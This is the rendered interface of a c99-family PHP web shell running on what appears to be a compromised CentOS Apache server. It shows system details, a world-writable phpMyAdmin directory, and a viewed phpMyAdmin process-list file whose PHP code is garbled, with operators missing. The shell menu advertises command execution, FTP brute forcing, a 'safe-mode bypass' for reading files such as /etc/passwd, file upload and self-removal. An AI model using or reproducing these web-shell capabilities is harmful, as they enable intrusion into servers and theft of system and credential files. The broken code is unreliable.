!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/phpMyAdmin/   drwxrwxrwx
Free 51.23 GB of 127.8 GB (40.08%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     server_processlist.php (2.82 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* $Id: server_processlist.php,v 2.16 2006/01/14 23:17:15 cybot_tm Exp $ */
// vim: expandtab sw=4 ts=4 sts=4:

require_once('./libraries/common.lib.php');

/**
 * Does the common work
 */
require_once('./libraries/server_common.inc.php');


/**
 * Kills a selected process
 */
if (!empty($kill)) {
    if (
PMA_DBI_try_query('KILL ' $kill ';')) {
        
$message sprintf($strThreadSuccessfullyKilled$kill);
    } else {
        
$message sprintf($strCouldNotKill$kill);
    }
}


/**
 * Displays the links
 */
require('./libraries/server_links.inc.php');


/**
 * Displays the sub-page heading
 */
echo '<h2>' "\n"
   
. ($cfg['MainPageIconic'] ? '<img class="icon" src="' $pmaThemeImage 's_process.png" width="16" height="16" alt="" />' '' )
   . 
$strProcesslist "\n"
   
'</h2>' "\n";


/**
 * Sends the query and buffers the result
 */
$sql_query 'SHOW' . ( empty( $full ) ? '' ' FULL' ) . ' PROCESSLIST';
$serverProcesses PMA_DBI_fetch_result$sql_query );

PMA_showMessage$GLOBALS['strSuccess'] );


/**
 * Displays the page
 */
?>
<table id="tableprocesslist" class="data">
<thead>
<tr><td><a href="./server_processlist.php?<?php echo $url_query . (empty($full) ? '&amp;full=1' ''); ?>"
            title="<?php echo empty($full) ? $strShowFullQueries $strTruncateQueries?>">
        <img src="<?php echo $pmaThemeImage 's_' . (empty($full) ? 'full' 'partial'); ?>text.png"
            width="50" height="20" alt="<?php echo empty($full) ? $strShowFullQueries $strTruncateQueries?>" />
        </a></td>
    <th><?php echo $strId?></th>
    <th><?php echo $strUser?></th>
    <th><?php echo $strHost?></th>
    <th><?php echo $strDatabase?></th>
    <th><?php echo $strCommand?></th>
    <th><?php echo $strTime?></th>
    <th><?php echo $strStatus?></th>
    <th><?php echo $strSQLQuery?></th>
</tr>
</thead>
<tbody>
<?php
$odd_row 
true;
foreach ( 
$serverProcesses AS $process ) {
    
?>
<tr class="<?php echo $odd_row 'odd' 'even'?>">
    <td><a href="./server_processlist.php?<?php echo $url_query '&amp;kill=' $process['Id']; ?>"><?php echo $strKill?></a></td>
    <td class="value"><?php echo $process['Id']; ?></td>
    <td><?php echo $process['User']; ?></td>
    <td><?php echo $process['Host']; ?></td>
    <td><?php echo (( ! isset( $process['db'] ) || ! strlen($process['db']) ) ? '<i>' $strNone '</i>' $process['db']); ?></td>
    <td><?php echo $process['Command']; ?></td>
    <td class="value"><?php echo $process['Time']; ?></td>
    <td><?php echo (empty($process['State']) ? '---' $process['State']); ?></td>
    <td><?php echo (empty($process['Info']) ? '---' PMA_SQP_formatHtml(PMA_SQP_parse($process['Info']))); ?></td>
</tr>
    <?php
    $odd_row 
= ! $odd_row;
}
?>
</tbody>
</table>
<?php

/**
 * Sends the footer
 */
require_once('./libraries/footer.inc.php');
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0174 ]--